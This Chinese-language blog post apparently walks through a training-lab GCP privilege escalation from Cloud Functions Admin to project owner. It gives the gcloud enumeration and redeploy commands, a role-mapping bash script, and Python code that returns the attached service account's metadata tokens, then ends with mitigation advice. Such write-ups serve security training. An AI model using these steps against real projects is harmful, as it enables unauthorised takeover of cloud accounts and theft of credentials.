GCP权限提升:滥用Function Admin角色实现完全项目接管

本文详细介绍了在Google Cloud Platform中如何通过滥用配置错误的Function Admin角色进行权限提升,最终获得项目所有者权限的全过程。文章包含具体的攻击步骤、工具使用和缓解策略,为云安全实践提供了重要参考。

GCP权限提升:滥用Function Admin角色实现完全项目接管

在之前的文章中,我们从没有角色的服务账户instance-mgmt-srv-acc提升到了对存储桶具有只读权限的默认服务账户。这使我们能够读取和下载存储桶内容。

如果你想知道为什么默认服务账户尽管具有Editor角色却只有只读访问权限,请查看上一篇文章中的IAM策略更新。已添加限制以降低风险。

在今天的实验中,我们将详细介绍读取这些存储桶如何帮助我们发现易受攻击的Cloud Function的源代码,以及这最终如何导致完全项目接管。

我们将使用CyberWarFare Labs的Google Cloud Red Team Specialist(CGRTS)培训进行此演示。这是一个优秀的实验室,涵盖了许多真实的GCP攻击场景。

目录

  • 所需工具
  • 利用步骤
  • 缓解策略
  • 参考资料
  • GCP渗透测试系列

所需工具

对于此实验室,您需要在测试机器上安装gcloud CLI。您可以直接从Google Cloud安装它,或使用RedCloud-OS - 这是CWL创建的VMware机器,预装了用于云渗透测试评估(GCP、Azure、AWS)的所有基本工具。

安装选项

  • 安装gcloud CLI | Google Cloud CLI文档
  • RedCloud-OS | GitHub

所需权限

  • 具有Cloud Functions Admin权限的服务账户访问权限(用于修改和部署函数)
  • 使用特权服务账户运行的目标函数,例如具有roles/owner角色的函数

利用步骤

在此实验室中,我们访问了一个名为function-admin-srv-acc的服务账户,该账户具有cloud functions admin角色。我们通过查看函数的源代码、找到正确的输入参数并调用函数来窃取其访问令牌来实现这一点。

现在,我们将看到如何使用这些权限来提升我们的访问权限并成为项目所有者。我们将通过修改函数的代码来获取附加到函数的访问令牌(具有roles/owner角色)来实现这一点。

1. 枚举IAM策略

每当我们获得对新服务账户的访问权限时,第一步是检查其分配的角色:

1
2
3
4
gcloud projects get-iam-policy [PROJECT NAME] \
  --flatten="bindings[].members" \
  --filter="bindings.members=serviceaccount:[SERVICE-ACCOUNT]" \
  --format="value(bindings.role)"

我们可以看到function-admin-srv-acc账户分配了一个自定义角色:FunctionAdminlzg。

图1:检查新服务账户的IAM角色

自定义角色通常遵循以项目名称开头后跟角色名称的命名约定,例如: projects/[PROJECT-NAME]/roles/[ROLE-NAME]

这与预定义角色(如roles/owner)不同,后者遵循以下格式: roles/[ROLE-NAME]

自定义角色通常用于提供细粒度控制,仅授予目标用户所需的特定权限。

2. 枚举可用函数并检查IAM策略

下一步是使用functions list命令列出项目中的可用函数:

1
gcloud functions list

图2:列出可用函数

我们已在本系列的第1篇文章中破坏了network-mgmt-function,在第2篇文章中破坏了function-mgmt-function - 请查看这些文章以更好地了解我们如何到达这一点。

现在我们的目标是resource-mgmt-function。为了收集更多信息,我们使用describe命令检索其元数据:

1
gcloud functions describe [FUNCTION NAME]

图3:显示函数元数据

从函数元数据中,有两个有趣的发现:

  • 它是一个HTTP触发的函数 - 意味着我们可以使用curl或访问其URL来调用它。
  • 该函数在默认服务账户下运行,该账户通常具有Editor角色,除非权限受到限制。(查看IAM更新)

了解这一点后,我们可以在以下步骤中利用该函数。

3. 检查服务账户的IAM策略

由于我们从受损的服务账户function-admin-srv-acc拥有cloudfunctions.functions.update权限,我们可以更新函数的配置 - 包括其元数据,例如名称、描述和附加的服务账户。

这意味着我们可以将函数的当前服务账户替换为具有更高权限(如roles/owner)的另一个服务账户,以提升我们的访问权限。

要检查分配给服务账户的角色,我们首先配置环境以使用正确的项目,然后列出所有可用的服务账户:

1
2
3
4
5
# 设置默认项目
gcloud config set project [PROJECT ID]

# 验证当前项目配置
gcloud config get-value project

图4:设置默认项目配置

接下来,列出项目中的所有服务账户:

1
gcloud iam service-accounts list

图5:列出服务账户

要检查分配给每个账户的角色,并识别任何比附加到resource-mgmt-function的默认账户具有更多权限的账户,我们可以手动运行以下命令:

1
2
3
4
gcloud projects get-iam-policy [PROJECT-NAME] \
  --flatten="bindings[].members" \
  --filter="bindings.members=serviceaccount:SERVICE-ACCOUNT" \
  --format="value(bindings.role)"

图6:检查账户角色

或者,我们可以使用Bash脚本自动化此过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/bin/bash

# 确保用户已认证
gcloud auth list --format="value(account)" >/dev/null 2>&1
if [ $? -ne 0 ]; then
    echo "You need to authenticate first using 'gcloud auth login'"
    exit 1
fi

# 提示用户输入项目ID
read -p "Enter the GCP Project ID (leave blank to use the default project): " PROJECT_ID

# 如果用户未提供项目ID,使用默认项目
if [ -z "$PROJECT_ID" ]; then
    PROJECT_ID=$(gcloud config get-value project 2>/dev/null)
fi

# 检查PROJECT_ID是否仍为空
if [ -z "$PROJECT_ID" ]; then
    echo "No project ID provided or set. Use 'gcloud config set project PROJECT_ID' to set one."
    exit 1
fi

echo -e "\nFetching service accounts for project: $PROJECT_ID..."
echo "-----------------------------------------------"

# 获取指定项目的所有服务账户
SERVICE_ACCOUNTS=$(gcloud iam service-accounts list --project="$PROJECT_ID" --format="value(email)")

if [ -z "$SERVICE_ACCOUNTS" ]; then
    echo "No service accounts found in project: $PROJECT_ID"
    exit 0
fi

# 遍历每个服务账户并列出角色和权限
for SA in $SERVICE_ACCOUNTS; do
    echo -e "\nService Account: $SA"
    # 获取IAM策略(角色)并将其格式化为单行
    ROLES=$(gcloud projects get-iam-policy "$PROJECT_ID" \
        --flatten="bindings[].members" \
        --format="value(bindings.role)" \
        --filter="bindings.members:$SA" | tr '\n' ',' | sed 's/,$//')
    
    if [ -z "$ROLES" ]; then
        echo "Assigned Roles: None"
    else
        echo "Assigned Roles: $ROLES"
    fi
    echo "-----------------------------------------------"
done

echo "DONE"

在下面的输出中,我们看到了服务账户及其分配角色的列表。在这里,我们识别出project-admin-srv-acc具有roles/owner权限!这为我们提供了一个可以绑定到resource-mgmt-function的更高权限服务账户。

图7:自动化检查账户角色

我们可以进一步优化脚本,循环遍历自定义角色,检索其权限,甚至添加颜色以提高可读性。我将脚本添加到了GitHub - GCP仓库: https://github.com/nairuzabulhul/gcp-service-account-mapper

4. 更新函数元数据

我们将附加到函数的服务账户更新为project-admin-srv-acc,该账户在项目中具有Owner角色。

为此,我们运行gcloud functions deploy命令,传递函数的源代码和function-mgmt-srv-acc的访问令牌(我们已经破坏)来更新函数的设置。

我们在之前的文章中获得函数源代码,当时我们获得了对存储桶具有只读OAuth范围的默认服务账户的访问权限。

以下是部署命令:

1
2
3
4
5
6
7
gcloud functions deploy [CLOUD_FUNCTION_NAME] \
  --region=[ZONE] \
  --trigger-http \
  --source=[LOCATION_OF_MAIN_FILE] \
  --entry-point=[FUNCTION_NAME] \
  --service-account=[SERVICE_ACCOUNT] \
  --access-token-file=[ACCESS_TOKEN]

运行deploy命令时需要考虑以下几点:

  • 主源文件必须命名为main.py、main.js或main.java等。
  • –source标志应指向包含函数代码的目录。
  • –entry-point是在主源文件中定义的函数名称。

图:主文件示例

如下所示,我们成功运行了deploy命令,并将函数的服务账户更新为project-admin-srv。

图:函数元数据已更新

5. 更新函数源代码

由于我们的服务账户function-admin-srv-acc具有admin角色,该账户已包含在角色分配中的cloudfunctions.functions.sourceCodeSet权限。有了此权限,我们可以修改函数的代码并提取附加服务账户project-admin-srv的访问令牌。

以下是用于获取令牌的Python代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import json
from urllib.request import Request, urlopen

def access_token(request):
    request_json = request.get_json()
    req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token')
    req.add_header('Metadata-Flavor', 'Google')
    token = json.loads(urlopen(req).read())
    
    req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=32555940559.apps.googleusercontent.com')
    req.add_header('Metadata-Flavor', 'Google')
    token["identity"] = urlopen(req).read().decode("utf-8")
    
    return json.dumps(token)

首先,确保function-admin-srv-acc服务账户具有新的访问令牌,因为它会在1小时后过期。您可以通过触发我们之前破坏的函数来获取令牌:

1
2
3
curl -X POST "https://us-central1-cgcrts-staging.cloudfunctions.net/function-mgmt-function?action=token" \
  -H "Content-Type: application/json" \
  -d '{}'

获得令牌后,使用新代码部署更新的函数:

1
2
3
4
5
6
7
gcloud functions deploy resource-mgmt-function \
  --region=us-central1 \
  --trigger-http \
  --source=/home/cwl/Documents/gcp_lab/resource-mgmt-function \
  --entry-point=access_token \
  --service-account=project-admin-srv-acc@cgcrts-staging.iam.gserviceaccount.com \
  --access-token-file=function_token.txt

图:部署更新的函数

然后部署后,调用更新的函数以检索访问令牌:

1
2
3
gcloud functions call resource-mgmt-function \
  --data '{}' \
  --access-token-file=function_token.txt

图8:调用新更新的函数

最后,验证访问令牌是否属于project-admin-srv-acc账户:

1
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AccessToken

图9:检索访问令牌

缓解策略

为了降低通过配置错误的Function Admin角色或过度许可的服务账户进行权限提升的风险,请考虑以下最佳实践:

  • 仅授予所需的最小权限集。避免将Editor或Owner等角色分配给默认服务账户。
  • 使用仅包含服务账户目的所需权限的自定义角色。除非必要,否则不要添加过度特权的权限,如cloudfunctions.sourceCodeSet、cloudfunctions.functions.update或iam.serviceAccounts.actAs。
  • 审计现有的Cloud Functions,并停用那些已弃用或未使用的函数。

此实验室突显了如何滥用通过配置错误的Function Admin角色授予的有限权限来提升权限并破坏整个GCP项目。

通过将IAM策略枚举、Cloud Function滥用和服务账户模拟链接在一起,我们演示了导致roles/owner的完整权限提升路径。

至此,我们已经到达本文的结尾。请继续关注下一篇文章!

参考资料

  • Google Cloud Red Team Specialist [CGRTS]
  • GCP渗透测试系列
  • 使用配置错误的IAM策略窃取Cloud Function访问令牌[GCP]
  • 滥用计算实例IAM错误配置在GCP中获取权限
  • GCP权限提升:滥用Function Admin角色实现完全项目接管
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计